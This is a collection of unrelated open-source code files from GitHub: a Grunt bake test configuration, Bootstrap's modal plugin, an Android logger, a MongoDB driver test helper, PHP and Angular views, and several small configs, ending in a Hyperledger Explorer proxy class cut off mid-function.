}, inline_bake: { options: { content: "test/fixtures/content.json", section: "en" }, files: { "tmp/inline_bake.html": "test/fixtures/inline_bake.html" } }, absolute_path_bake: { options: { basePath: "test/fixtures/includes" }, files: { "tmp/absolute_path_bake.html": "test/fixtures/absolute_path_bake.html" } }, default_absolute_path_bake: { files: { "tmp/default_absolute_path_bake.html": "test/fixtures/default_absolute_path_bake.html" } }, if_bake: { options: { content: "test/fixtures/content.json", section: "en" }, files: { "tmp/if_bake.html": "test/fixtures/if_bake.html" } }, semantic_if: { options: { semanticIf: true }, files: { "tmp/semantic_if.html": "test/fixtures/semantic_if.html" } }, format_bake: { files: { "tmp/format_bake.html": "test/fixtures/format_bake.html" } }, foreach_bake: { options: { content: "test/fixtures/content.json", section: "en" }, files: { "tmp/foreach_bake.html": "test/fixtures/foreach_bake.html" } }, foreach_inline_bake: { options: { content: "test/fixtures/content.json", section: "en" }, files: { "tmp/foreach-inline_bake.html": "test/fixtures/foreach-inline_bake.html" } }, foreach_meta: { options: { transforms: { visibleBool: function( state ) { return state ? "is true" : "is false"; } } }, files: { "tmp/foreach_meta.html": "test/fixtures/foreach_meta.html" } }, no_process_bake: { options: { process: false }, files: { "tmp/no_process_bake.html": "test/fixtures/no_process_bake.html" } }, section_bake: { options: { content: { home: { title: "Home" }, about: { title: "About" }, books: { theDarkTower: { author: "Stephen King", title: "The Dark Tower" } }, shared: { title: "Title", info: { author: "Test Author" } } } }, files: { "tmp/section_bake.html": "test/fixtures/section_bake.html" } }, render_bake: { options: { foo: false, bar: true }, files: { "tmp/render_bake.html": "test/fixtures/render_bake.html" } }, html_include_bake: { options: { content: { foo: "<span>Foo</span>" } }, files: { "tmp/html_include_bake.html": "test/fixtures/html_include_bake.html" } }, function_content_bake: { options: { content: function() { var data = grunt.file.readJSON( "test/fixtures/content.json" ); data.rooms = data.rooms.map( function( room ) { room.volume = room.width * room.depth * room.height; return room; } ); return data; } }, files: { "tmp/function_content_bake.html": "test/fixtures/function_content_bake.html" } }, transform_pass_through: { options: { content: { content: "Hallo Welt!" }, transforms: { noop: function( string ) { return string; } } }, files: { "tmp/transform_pass_through.html": "test/fixtures/transform_pass_through.html" } }, transform_single: { options: { content: { content: "Hallo Welt!" }, transforms: { upper: function( string ) { return String( string ).toUpperCase(); } } }, files: { "tmp/transform_single.html": "test/fixtures/transform_single.html" } }, transform_params: { options: { content: { content: { "string": "Bake", "array": [ "Jim", "John", "James", "Jonathan" ] } }, transforms: { repeat: function( string, times ) { return new Array( parseInt( times, 10) + 1 ).join( String( string ) ); }, replace: function( string, searchvalue, newvalue ) { return String( string ).replace( searchvalue, newvalue ); }, max: function( array, limit ) { return array.slice( 0, limit ); }, join: function( array, glue ) { return array.join( glue ); } } }, files: { "tmp/transform_params.html": "test/fixtures/transform_params.html" } }, transform_multiple: { options: { content: { content: "Hallo\nWelt!" }, transforms: { nl2br: function( string ) { return String( string ).replace( /([\r\n]+)/g, "<br />" ); }, upper: function( string ) { return String( string ).toUpperCase(); } } }, files: { "tmp/transform_multiple.html": "test/fixtures/transform_multiple.html" } }, transform_deep: { options: { content: { sub: { sub: { content: "Hallo Welt!" } } }, transforms: { upper: function( string ) { return String( string ).toUpperCase(); } } }, files: { "tmp/transform_deep.html": "test/fixtures/transform_deep.html" } }, transform_foreach: { options: { content: "test/fixtures/content.json", section: "en", transforms: { max: function( array, limit ) { return ( array || [] ).slice( 0, limit ); } } }, files: { "tmp/transform_foreach.html": "test/fixtures/transform_foreach.html" } }, keep_undefined_vars: { options: { content: { defined: "Hallo Welt!" }, transforms: { upper: function( string ) { return String( string ).toUpperCase(); } }, removeUndefined: false }, files: { "tmp/keep_undefined_vars.html": "test/fixtures/keep_undefined_vars.html" } }, multiline_bake: { files: { "tmp/multiline_bake.html": "test/fixtures/multiline_bake.html" } }, var_as_array_key: { options: { content: { "pages": { "page1": { "title": "Page 1" }, "page2": { "title": "Page 2" }, "page3": { "title": "Page 3" }, "page4": { "title": "Page 4" }, "page5": { "title": "Page 5" } } } }, files: { "tmp/var_as_array_key.html": "test/fixtures/var_as_array_key.html" } }, path_with_placeholder: { options: { content: { filename: "include-one" } }, files: { "tmp/path_with_placeholder.html": "test/fixtures/path_with_placeholder.html" } }, recursive_path_with_placeholder: { options: { content: { filename: "include-four.html" } }, files: { "tmp/recursive_path_with_placeholder.html": "test/fixtures/recursive_path_with_placeholder.html" } }, extra_bake: { files: { "tmp/extra_bake.html": "test/fixtures/extra_bake.html" } }, extra_bake_multiple: { options: { content: "test/fixtures/content.json", transforms: { lowercase: function( string ) { return String( string ).toLowerCase(); } } }, files: { "tmp/extra_bake_multiple.html": "test/fixtures/extra_bake_multiple.html" } }, assign_bake: { files: { "tmp/assign_bake.html": "test/fixtures/assign_bake.html" } }, inline_no_process: { files: { "tmp/inline_no_process.html": "test/fixtures/inline_no_process.html" } }, default_variables: { files: { "tmp/default_variables.html": "test/fixtures/default_variables.html" } } } } ); grunt.loadTasks( "tasks" ); grunt.loadNpmTasks( "grunt-contrib-jshint" ); grunt.loadNpmTasks( "grunt-contrib-clean" ); grunt.loadNpmTasks( "grunt-contrib-nodeunit" ); grunt.loadNpmTasks( "grunt-contrib-watch" ); grunt.loadNpmTasks( "grunt-jsonlint" ); grunt.registerTask( "test", [ "clean", "setup", "bake", "nodeunit", "teardown" ] ); grunt.registerTask( "default", [ "jsonlint", "jshint", "test" ] ); // Stubbing methods for testing purposes. Because we are good little developers // we clean up after ourselves. var realDateNow; grunt.registerTask( "setup", function() { realDateNow = Date.now; Date.now = function() { return 123456789; }; } ); grunt.registerTask( "teardown", function() { Date.now = realDateNow; } ); };
{ "pile_set_name": "Github" }
/* ======================================================================== * Bootstrap: modal.js v3.3.6 * http://getbootstrap.com/javascript/#modals * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // MODAL CLASS DEFINITION // ====================== var Modal = function (element, options) { this.options = options this.$body = $(document.body) this.$element = $(element) this.$dialog = this.$element.find('.modal-dialog') this.$backdrop = null this.isShown = null this.originalBodyPad = null this.scrollbarWidth = 0 this.ignoreBackdropClick = false if (this.options.remote) { this.$element .find('.modal-content') .load(this.options.remote, $.proxy(function () { this.$element.trigger('loaded.bs.modal') }, this)) } } Modal.VERSION = '3.3.6' Modal.TRANSITION_DURATION = 300 Modal.BACKDROP_TRANSITION_DURATION = 150 Modal.DEFAULTS = { backdrop: true, keyboard: true, show: true } Modal.prototype.toggle = function (_relatedTarget) { return this.isShown ? this.hide() : this.show(_relatedTarget) } Modal.prototype.show = function (_relatedTarget) { var that = this var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget }) this.$element.trigger(e) if (this.isShown || e.isDefaultPrevented()) return this.isShown = true this.checkScrollbar() this.setScrollbar() this.$body.addClass('modal-open') this.escape() this.resize() this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)) this.$dialog.on('mousedown.dismiss.bs.modal', function () { that.$element.one('mouseup.dismiss.bs.modal', function (e) { if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true }) }) this.backdrop(function () { var transition = $.support.transition && that.$element.hasClass('fade') if (!that.$element.parent().length) { that.$element.appendTo(that.$body) // don't move modals dom position } that.$element .show() .scrollTop(0) that.adjustDialog() if (transition) { that.$element[0].offsetWidth // force reflow } that.$element.addClass('in') that.enforceFocus() var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget }) transition ? that.$dialog // wait for modal to slide in .one('bsTransitionEnd', function () { that.$element.trigger('focus').trigger(e) }) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : that.$element.trigger('focus').trigger(e) }) } Modal.prototype.hide = function (e) { if (e) e.preventDefault() e = $.Event('hide.bs.modal') this.$element.trigger(e) if (!this.isShown || e.isDefaultPrevented()) return this.isShown = false this.escape() this.resize() $(document).off('focusin.bs.modal') this.$element .removeClass('in') .off('click.dismiss.bs.modal') .off('mouseup.dismiss.bs.modal') this.$dialog.off('mousedown.dismiss.bs.modal') $.support.transition && this.$element.hasClass('fade') ? this.$element .one('bsTransitionEnd', $.proxy(this.hideModal, this)) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : this.hideModal() } Modal.prototype.enforceFocus = function () { $(document) .off('focusin.bs.modal') // guard against infinite focus loop .on('focusin.bs.modal', $.proxy(function (e) { if (this.$element[0] !== e.target && !this.$element.has(e.target).length) { this.$element.trigger('focus') } }, this)) } Modal.prototype.escape = function () { if (this.isShown && this.options.keyboard) { this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) { e.which == 27 && this.hide() }, this)) } else if (!this.isShown) { this.$element.off('keydown.dismiss.bs.modal') } } Modal.prototype.resize = function () { if (this.isShown) { $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this)) } else { $(window).off('resize.bs.modal') } } Modal.prototype.hideModal = function () { var that = this this.$element.hide() this.backdrop(function () { that.$body.removeClass('modal-open') that.resetAdjustments() that.resetScrollbar() that.$element.trigger('hidden.bs.modal') }) } Modal.prototype.removeBackdrop = function () { this.$backdrop && this.$backdrop.remove() this.$backdrop = null } Modal.prototype.backdrop = function (callback) { var that = this var animate = this.$element.hasClass('fade') ? 'fade' : '' if (this.isShown && this.options.backdrop) { var doAnimate = $.support.transition && animate this.$backdrop = $(document.createElement('div')) .addClass('modal-backdrop ' + animate) .appendTo(this.$body) this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) { if (this.ignoreBackdropClick) { this.ignoreBackdropClick = false return } if (e.target !== e.currentTarget) return this.options.backdrop == 'static' ? this.$element[0].focus() : this.hide() }, this)) if (doAnimate) this.$backdrop[0].offsetWidth // force reflow this.$backdrop.addClass('in') if (!callback) return doAnimate ? this.$backdrop .one('bsTransitionEnd', callback) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callback() } else if (!this.isShown && this.$backdrop) { this.$backdrop.removeClass('in') var callbackRemove = function () { that.removeBackdrop() callback && callback() } $.support.transition && this.$element.hasClass('fade') ? this.$backdrop .one('bsTransitionEnd', callbackRemove) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callbackRemove() } else if (callback) { callback() } } // these following methods are used to handle overflowing modals Modal.prototype.handleUpdate = function () { this.adjustDialog() } Modal.prototype.adjustDialog = function () { var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight this.$element.css({ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '', paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : '' }) } Modal.prototype.resetAdjustments = function () { this.$element.css({ paddingLeft: '', paddingRight: '' }) } Modal.prototype.checkScrollbar = function () { var fullWindowWidth = window.innerWidth if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8 var documentElementRect = document.documentElement.getBoundingClientRect() fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left) } this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth this.scrollbarWidth = this.measureScrollbar() } Modal.prototype.setScrollbar = function () { var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10) this.originalBodyPad = document.body.style.paddingRight || '' if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth) } Modal.prototype.resetScrollbar = function () { this.$body.css('padding-right', this.originalBodyPad) } Modal.prototype.measureScrollbar = function () { // thx walsh var scrollDiv = document.createElement('div') scrollDiv.className = 'modal-scrollbar-measure' this.$body.append(scrollDiv) var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth this.$body[0].removeChild(scrollDiv) return scrollbarWidth } // MODAL PLUGIN DEFINITION // ======================= function Plugin(option, _relatedTarget) { return this.each(function () { var $this = $(this) var data = $this.data('bs.modal') var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data) $this.data('bs.modal', (data = new Modal(this, options))) if (typeof option == 'string') data[option](_relatedTarget) else if (options.show) data.show(_relatedTarget) }) } var old = $.fn.modal $.fn.modal = Plugin $.fn.modal.Constructor = Modal // MODAL NO CONFLICT // ================= $.fn.modal.noConflict = function () { $.fn.modal = old return this } // MODAL DATA-API // ============== $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) { var $this = $(this) var href = $this.attr('href') var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7 var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()) if ($this.is('a')) e.preventDefault() $target.one('show.bs.modal', function (showEvent) { if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown $target.one('hidden.bs.modal', function () { $this.is(':visible') && $this.trigger('focus') }) }) Plugin.call($target, option, this) }) }(jQuery);
{ "pile_set_name": "Github" }
package org.easydarwin.video.recoder.utils; import android.util.Log; public class Logger { private static String DEFAULT_TAG = "FaceRecorder ==>"; private final static boolean DEBUG = true; public static void setTag(String tag) { DEFAULT_TAG = tag; } public static int d(Object msg) { return Log.d(Logger.DEFAULT_TAG, String.valueOf(msg)); } public static int d(Object msg, Throwable tr) { return Log.d(Logger.DEFAULT_TAG, String.valueOf(msg), tr); } public static int d(String tag, Object msg) { return Log.d(tag, String.valueOf(msg)); } public static int d(String tag, Object msg, Throwable tr) { return Log.d(tag, String.valueOf(msg), tr); } public static int e(Object msg) { return Log.e(Logger.DEFAULT_TAG, String.valueOf(msg)); } public static int e(Object msg, Throwable tr) { return Log.e(Logger.DEFAULT_TAG, String.valueOf(msg), tr); } public static int e(String tag, Object msg) { return Log.d(tag, String.valueOf(msg)); } public static int e(String tag, Object msg, Throwable tr) { return Log.e(tag, String.valueOf(msg), tr); } public static int i(Object msg) { return Log.i(Logger.DEFAULT_TAG, String.valueOf(msg)); } public static int i(Object msg, Throwable tr) { return Log.i(Logger.DEFAULT_TAG, String.valueOf(msg), tr); } public static int i(String tag, Object msg) { return Log.i(tag, String.valueOf(msg)); } public static int i(String tag, Object msg, Throwable tr) { return Log.i(tag, String.valueOf(msg), tr); } public static void printStackTrace(Throwable e) { if (e == null) { return; } if (DEBUG) { e.printStackTrace(); } } public static void t(Object msg) { if (DEBUG) { Log.v(Logger.DEFAULT_TAG, String.valueOf(msg)); } } public static void t(Object msg, Throwable tr) { if (DEBUG) { Log.v(Logger.DEFAULT_TAG, String.valueOf(msg), tr); } } public static void t(String tag, Object msg) { if (DEBUG) { Log.v(tag, String.valueOf(msg)); } } public static int v(Object msg) { return Log.v(Logger.DEFAULT_TAG, String.valueOf(msg)); } public static int v(Object msg, Throwable tr) { return Log.v(Logger.DEFAULT_TAG, String.valueOf(msg), tr); } public static int v(String tag, Object msg) { return Log.v(tag, String.valueOf(msg)); } public static int v(String tag, Object msg, Throwable tr) { return Log.v(tag, String.valueOf(msg), tr); } public static int w(Object msg) { return Log.w(Logger.DEFAULT_TAG, String.valueOf(msg)); } public static int w(Object msg, Throwable tr) { return Log.w(Logger.DEFAULT_TAG, String.valueOf(msg), tr); } public static int w(String tag, Object msg) { return Log.w(tag, String.valueOf(msg)); } public static int w(String tag, Object msg, Throwable tr) { return Log.w(tag, String.valueOf(msg), tr); } public static int w(String tag, Throwable tr) { return Log.w(tag, tr); } public static int w(Throwable tr) { return Log.w(Logger.DEFAULT_TAG, tr); } private Logger() { } }
{ "pile_set_name": "Github" }
import drawKpis from "./DrawKpis"; export default drawKpis;
{ "pile_set_name": "Github" }
/* Copyright 2018-present MongoDB Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System; using System.Collections.Generic; using System.Linq; using MongoDB.Bson; using MongoDB.Bson.TestHelpers.JsonDrivenTests; namespace MongoDB.Driver.Tests.JsonDrivenTests { public abstract class JsonDrivenCommandTest : JsonDrivenTest { // constructors protected JsonDrivenCommandTest(Dictionary<string, object> objectMap) : base(objectMap) { } // protected methods protected override void AssertException() { if (_expectedException.Contains("errorCodeName")) { var expectedErrorCodeName = _expectedException["errorCodeName"].AsString; string actualErrorCodeName = null; var commandException = _actualException as MongoCommandException; if (commandException != null) { var writeConcernException = commandException as MongoWriteConcernException; // MongoWriteConcernException is a subclass of MongoCommandException if (writeConcernException != null) { actualErrorCodeName = writeConcernException.Result.GetValue("writeConcernError", null)?.AsBsonDocument.GetValue("codeName", null)?.AsString; } else { actualErrorCodeName = commandException.CodeName; } } if (actualErrorCodeName == null && _actualException is MongoExecutionTimeoutException mongoExecutionTimeout) { actualErrorCodeName = mongoExecutionTimeout.CodeName; } if (actualErrorCodeName == null) { throw new Exception("Exception was missing \"errorCodeName\".", _actualException); } if (actualErrorCodeName != expectedErrorCodeName) { throw new Exception($"Exception errorCodeName was \"{actualErrorCodeName}\", expected \"{expectedErrorCodeName}\".", _actualException); } } if (_expectedException.Contains("errorContains")) { var actualMessage = _actualException.Message; var expectedContains = _expectedException["errorContains"].AsString; if (actualMessage.IndexOf(expectedContains, StringComparison.OrdinalIgnoreCase) == -1) { throw new Exception($"Exception message \"{actualMessage}\" does not contain \"{expectedContains}\".", _actualException); } } if (_expectedException.Contains("errorLabelsContain")) { var mongoException = _actualException as MongoException; if (mongoException == null) { throw new Exception($"Exception was of type {_actualException.GetType().FullName}, expected a MongoException.", _actualException); } foreach (var expectedLabel in _expectedException["errorLabelsContain"].AsBsonArray.OfType<BsonString>().Select(x => x.AsString)) { if (!mongoException.HasErrorLabel(expectedLabel)) { throw new Exception($"Exception should contain ErrorLabel: \"{expectedLabel}\".", _actualException); } } } if (_expectedException.Contains("errorLabelsOmit")) { var mongoException = _actualException as MongoException; if (mongoException == null) { throw new Exception($"Exception was of type {_actualException.GetType().FullName}, expected a MongoException.", _actualException); } foreach (var omittedLabel in _expectedException["errorLabelsOmit"].AsBsonArray.OfType<BsonString>().Select(x => x.AsString)) { if (mongoException.HasErrorLabel(omittedLabel)) { throw new Exception($"Exception should not contain ErrorLabel: \"{omittedLabel}\".", _actualException); } } } } protected override void ParseExpectedResult(BsonValue value) { var document = value as BsonDocument; if (document != null) { if (LooksLikeAnExpectedException(document)) { _expectedException = document; return; } } base.ParseExpectedResult(value); } // private methods private bool LooksLikeAnExpectedException(BsonDocument document) { var errorFieldNames = new[] { "error", "errorCodeName", "errorContains", "errorLabelsContain", "errorLabelsOmit" }; return document.Names.Any(x => errorFieldNames.Contains(x)); } } }
{ "pile_set_name": "Github" }
<?php use eagle\modules\util\helpers\TranslateHelper; ?> <style> .modal-box{ width: 500px; } .on_merge_sku_group{ clear:both; margin-top:5px; height:65px; overflow-y:auto; border:1px solid #CFD9DB; background-color:#fff; padding:5px; min-height:20px; } .skuDivCont { border: 1px solid #ccc; padding: 0 5px; border-radius: 4px; font-size: 12px; background-color: #fff; margin-right: 10px; line-height: 18px; } .removeSku{ margin: 5px 0px 0px 5px; cursor: pointer; } </style> <p style="color: #a2a2a2; font-size: 14px; line-height: 18px"> 当商品库存在两个以上一样商品但不同SKU时,则可通过合并商品操作,只保留一个。<br> 合并后,所有被合并商品的所有相关操作合并到目标商品中!(如订单,发货,库存等等)。<br> <span style="color: red;">注意:合并后,被合并商品的原数据将被替换或删除,且此操作不可逆</span> </p> <div style="margin-top: 20px;"> <div class="col-md-12"> <div class="form-group""> <label style="float: left; width: 20%; line-height: 30px; "><span class="text-danger mr5">*</span>被合并SKU</label> <div class="col-sm-9"> <div class="input-group" style="width: 100%;"> <input id="add_sku_val" placeholder="输入SKU" type="text" value="" class="eagle-form-control" style="width:60%; float:left; margin:0px; height:28px; "> <button type="button" class="iv-btn btn-search btn-spacing-middle" onclick="productList.list.addSkuTab()" style="float:left; margin-top:1px; ">添加</button> </div> <div class="on_merge_sku_group"> </div> </div> </div> <div class="form-group"> <label style="float: left; width: 20%; line-height: 30px; "><span class="text-danger mr5">*</span>目标本地SKU</label> <div class="col-sm-9"> <div class="input-group" style="width: 100%;"> <input id="merge_sku" placeholder="输入SKU" type="text" value="" class="eagle-form-control" style="width:100%; float:left; height:28px; "> </div> </div> </div> </div> </div> <div> <input type="button" id="btn_cancel" style="float: right;" class="iv-btn btn-primary modal-close" data-dismiss="modal" value="关闭" /> <input type="button" id="btn_merge" style="float: right; margin-right: 20px;" class="iv-btn btn-primary" data-dismiss="modal" value="确认合并" onclick="productList.list.mergeProduct()"/> </div>
{ "pile_set_name": "Github" }
<?php namespace app\modules\polygon; /** * polygon module definition class */ class Module extends \yii\base\Module { /** * {@inheritdoc} */ public $controllerNamespace = 'app\modules\polygon\controllers'; /** * {@inheritdoc} */ public function init() { parent::init(); // custom initialization code goes here } }
{ "pile_set_name": "Github" }
package ca.ubc.cs.spl.aspectPatterns.examples.command.java; /* -*- Mode: Java; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This file is part of the design patterns project at UBC * * The contents of this file are subject to the Mozilla Public License * Version 1.1 (the "License"); you may not use this file except in * compliance with the License. You may obtain a copy of the License at * either http://www.mozilla.org/MPL/ or http://aspectj.org/MPL/. * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is ca.ubc.cs.spl.aspectPatterns. * * For more details and the latest version of this code, please see: * http://www.cs.ubc.ca/labs/spl/projects/aodps.html * * Contributor(s): */ import javax.swing.JButton; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; /** * Implements a simple extension of JButton that supplies its own * ActionListener and calls its own <code>clicked()</code> method * whenever the button is pressed. This method calls the <code> * executeCommand()</code> method on the button's associated <i>Command</i> * object. * * @author Jan Hannemann * @author Gregor Kiczales * @version 1.1, 02/06/04 */ public class Button extends JButton { /** * the command object associated with this button */ protected Command command; /** * Creates a new button with the provided label * * @param label the label of the button */ public Button(String label) { super(label); this.setActionCommand(label); this.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { clicked(); } }); } /** * Calls <code>ececuteCommand()</code> on the associated * command object. This method gets called whenever the * button is pressed. */ public void clicked() { if (command != null) { command.executeCommand(); } } /** * Sets the associated command object for this button * * @param command the new <i>Command</i> object. */ public void setCommand(Command command) { this.command = command; } }
{ "pile_set_name": "Github" }
using System; namespace ICSharpCode.SharpZipLib.Tar { /// <summary> /// TarException represents exceptions specific to Tar classes and code. /// </summary> public class TarException : SharpZipBaseException { /// <summary> /// Initialise a new instance of <see cref="TarException" />. /// </summary> public TarException() { } /// <summary> /// Initialise a new instance of <see cref="TarException" /> with its message string. /// </summary> /// <param name="message">A <see cref="string"/> that describes the error.</param> public TarException(string message) : base(message) { } /// <summary> /// Initialise a new instance of <see cref="TarException" />. /// </summary> /// <param name="message">A <see cref="string"/> that describes the error.</param> /// <param name="innerException">The <see cref="Exception"/> that caused this exception.</param> public TarException(string message, Exception innerException) : base(message, innerException) { } } }
{ "pile_set_name": "Github" }
# frozen_string_literal: true class AddTextSizeKeyToUserOptions < ActiveRecord::Migration[5.2] def change add_column :user_options, :text_size_key, :integer, null: false, default: 0 end end
{ "pile_set_name": "Github" }
<!doctype html> <style> div { animation: t 1s; } @keyframes t { to { stroke-dasharray: none; } } </style> <div></div>
{ "pile_set_name": "Github" }
import resolve from 'rollup-plugin-node-resolve'; import typescript from 'rollup-plugin-typescript2'; import pkg from './package.json'; export default { input: './src/index.tsx', output: [ { file: pkg.main, format: 'cjs', sourcemap: true, }, { file: pkg.module, format: 'es', sourcemap: true, }, { file: pkg.unpkg, format: 'iife', sourcemap: true, name: 'InfiniteScroll', }, ], external: [...Object.keys(pkg.peerDependencies || {})], plugins: [resolve(), typescript({ useTsconfigDeclarationDir: true })], };
{ "pile_set_name": "Github" }
tcms.testcases.helpers package ============================== .. automodule:: tcms.testcases.helpers :members: :undoc-members: :show-inheritance: Submodules ---------- .. toctree:: :maxdepth: 4 tcms.testcases.helpers.email
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8" ?> <!-- Copyright 2018 Dinar Gabbasov <https://it-projects.info/team/GabbasovDinar> Copyright 2018 Artem Losev License MIT (https://opensource.org/licenses/MIT). --> <odoo> <template id="assets_backend" name="pos_orders_history assets" inherit_id="point_of_sale.assets" > <xpath expr="." position="inside"> <script type="text/javascript" src="/pos_orders_history_reprint/static/src/js/screens.js" /> <script type="text/javascript" src="/pos_orders_history_reprint/static/src/js/models.js" /> <link rel="stylesheet" href="/pos_orders_history_reprint/static/src/css/main.css" /> </xpath> </template> <template id="demo_assets_backend" name="pos_orders_history demo assets" inherit_id="web.assets_backend" > <xpath expr="." position="inside"> <script type="text/javascript" src="/pos_orders_history_reprint/static/src/js/tour.js" /> </xpath> </template> </odoo>
{ "pile_set_name": "Github" }
import { Component, ViewChild } from '@angular/core'; import { ActivatedRoute, Router } from '@angular/router'; import { Subscription } from 'rxjs'; import { Client, Upload } from '../../../services/api'; import { Session } from '../../../services/session'; import { ACCESS, LICENSES } from '../../../services/list-options'; import { ThumbnailEvent } from '../components/thumbnail-selector.component'; import { InlineEditorComponent } from '../../../common/components/editors/inline-editor.component'; import { RecommendedService } from '../components/video/recommended.service'; import { FormToastService } from '../../../common/services/form-toast.service'; @Component({ moduleId: module.id, selector: 'm-media--edit', templateUrl: 'edit.component.html', providers: [ { provide: RecommendedService, useFactory: RecommendedService._, deps: [Client], }, ], }) export class MediaEditComponent { guid: string; entity: any = { title: '', description: '', subtype: '', license: 'all-rights-reserved', nsfw: [], }; inProgress: boolean; error: string; licenses = LICENSES; access = ACCESS; @ViewChild('inlineEditor', { static: true }) inlineEditor: InlineEditorComponent; paramsSubscription: Subscription; constructor( public session: Session, public client: Client, public upload: Upload, public router: Router, public route: ActivatedRoute, protected toasterService: FormToastService ) {} ngOnInit() { this.paramsSubscription = this.route.params.subscribe(params => { if (params['guid']) { this.guid = params['guid']; this.load(); } }); } ngOnDestroy() { this.paramsSubscription.unsubscribe(); } load() { this.inProgress = true; this.client .get('api/v1/entities/entity/' + this.guid, { children: false }) .then((response: any) => { this.inProgress = false; console.log(response); if (response.entity) { if (!response.entity.description) response.entity.description = ''; if (!response.entity.license) response.entity.license = 'all-rights-reserved'; response.entity.mature = response.entity.flags && response.entity.flags.mature ? 1 : 0; this.entity.nsfw = response.entity.nsfw; this.entity = response.entity; } }); } save() { this.inlineEditor.prepareForSave().then(() => { this.client .post('api/v1/media/' + this.guid, this.entity) .then((response: any) => { console.log(response); this.router.navigate(['/media', this.guid]); }) .catch(e => { this.error = 'There was an error while trying to update'; this.toasterService.error(this.error); }); }); } setThumbnail(file: ThumbnailEvent) { console.log(file); this.entity.file = file.source; this.entity.thumbnail = file.seconds; } /** * Sets this blog NSFW. * @param { array } nsfw - Numerical indexes for reasons in an array e.g. [1, 2]. */ onNSFWSelections(nsfw) { this.entity.nsfw = nsfw.map(reason => reason.value); } }
{ "pile_set_name": "Github" }
<help page="Element Type Manager"> <p>This is where you add and edit element types. Element Types are basically groupings of Elements, where certain properties of all the Elements of that type are set.</p> <p> <dl> <dt>Search</dt> <dd>Searches Element Types by name. Do a blank search to list all Element Types or click a letter for an alphabetical list.</dd> <dt>Add a New Element Type</dt> <dd>Click this link to create a new Element Type. It brings you to the Element Type Profile page.</dd> <dt>Existing Element Types</dt> <dd>Click <em>Edit</em> to modify an Element Type's profile. Click <em>Log</em> to view its event history. To delete an Element Type, check the Delete box, scroll to the bottom of the page and click the <em>Delete Checked</em> button.</dd> </dl> </p> </help>
{ "pile_set_name": "Github" }
{"Debug":{"InfoType":"WHO", "OS":"linux"}} { "metrics":[], "timestamp":1441066692000 }
{ "pile_set_name": "Github" }
/* * SPDX-License-Identifier: Apache-2.0 */ import {helper} from '../../common/helper'; import {NetworkService} from './service/NetworkService'; import {ExplorerError} from '../../common/ExplorerError'; const fabric_const = require('./utils/FabricConst').fabric.const; import {explorerError} from '../../common/ExplorerMessage' const logger = helper.getLogger('Proxy'); /** * * * @class Proxy */ export class Proxy { platform : any; persistence : any; broadcaster : any; userService : any; /** * Creates an instance of Proxy. * @param {*} platform * @memberof Proxy */ constructor(platform, userService) { this.platform = platform; this.persistence = platform.getPersistence(); this.broadcaster = platform.getBroadcaster(); this.userService = userService; } /** * * * @param {*} user * @returns * @memberof Proxy */ async authenticate(user) { const response = await this.userService.authenticate(user); logger.debug('result of authentication >> %j', response); return response; } /** * * * @returns * @memberof Proxy */ async networkList() { const networkService = new NetworkService(this.platform); let response = await networkService.networkList(); if (!response) { response = [{ status: false, message: 'Failed to get network list ' }]; } logger.debug('networkList >> %s', response); return response; } /** * * * @returns * @memberof Proxy */ async getCurrentChannel(network_id) { logger.debug('getCurrentChannel: network_id', network_id); const client = await this.platform.getClient(network_id); const channel_name = Object.keys(client.fabricGateway.config.channels)[0]; const channel_genesis_hash = client.getChannelGenHash(channel_name); let respose; if (channel_genesis_hash) { respose = { currentChannel: channel_genesis_hash }; } else { respose = { status: 1, message: 'Channel not found in the Context ', currentChannel: '' }; } logger.debug('getCurrentChannel >> %j', respose); return respose; } /** * * * @param {*} channel_genesis_hash * @returns * @memberof Proxy */ async getPeersStatus(network_id, channel_genesis_hash) { const client = await this.platform.getClient(network_id); const channel_name = client.getChannelNameByHash(channel_genesis_hash); const nodes = await this.persistence .getMetricService() .getPeerList(network_id, channel_genesis_hash); let discover_results; if (client.status) { try { discover_results = await client.initializeChannelFromDiscover(channel_name); } catch (e) { logger.debug('getPeersStatus >> ', e); } } const peers = []; for (const node of nodes) 